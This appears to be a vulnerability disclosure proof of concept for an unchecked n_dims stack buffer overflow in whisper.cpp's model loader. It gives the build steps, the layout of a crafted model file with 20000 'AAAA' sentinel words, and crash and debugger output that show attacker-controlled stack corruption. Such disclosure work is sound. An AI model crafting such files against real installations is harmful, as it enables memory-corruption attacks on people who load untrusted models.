ybgwon96's picture
Upload 4 files
339067e verified
|
Raw
History Blame Contribute Delete
2.52 kB

Dynamic crash proof — whisper.cpp unchecked n_dims stack buffer overflow

Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64).

Target

  • repo: ggml-org/whisper.cpp @ 6fc7c33
  • Sink: src/whisper.cpp whisper_model_load() tensor-read loop — int32_t ne[4] written with an unbounded, attacker-controlled n_dims count.

Build (Release, CPU-only, -fstack-protector-all; NO sanitizer)

cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
      -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
      -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
cmake --build build-rel --target whisper-cli

Malicious input — poc_whisper_ndims.bin (80 KB)

Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop), then ONE tensor record with n_dims = 20000 followed by 20000 sentinel words 0x41414141 ("AAAA").

Run + crash

whisper_model_load: type          = 1 (tiny)
whisper_model_load: adding 51865 extra tokens
whisper_model_load:          CPU total size =    77.11 MB      <- model fully built; entering tensor-read loop
<SIGSEGV>
exit=139   (128 + SIGSEGV(11))

lldb stop frame — attacker bytes in the fault address

* thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)
    frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36
->  str xzr, [x0, #0x8]        ; x0 = 0x141414149

The faulting address 0x141414149 is the attacker sentinel 0x41414141 ("AAAA"): the unbounded for (i=0;i<n_dims;++i) read_safe(loader, ne[i]) loop wrote our chosen 4-byte words far past the 4-element stack array ne[4], overwriting adjacent stack state (including the std::istream object pointer used by the very next read_safe), which is then dereferenced → crash. This demonstrates attacker-controlled stack memory corruption (CWE-787), not a benign parser error.

What this proves

  1. n_dims from the model file is used as an unchecked loop bound over a fixed int32_t ne[4].
  2. The loop writes attacker-chosen 4-byte values sequentially past the array — the classic controlled-length/controlled-content stack smash.
  3. Reached via the standard whisper_init_from_file → whisper_model_load path that EVERY whisper.cpp application uses to load a model. (The sibling site whisper_vad_init_with_params has the identical bug on the VAD-model path.)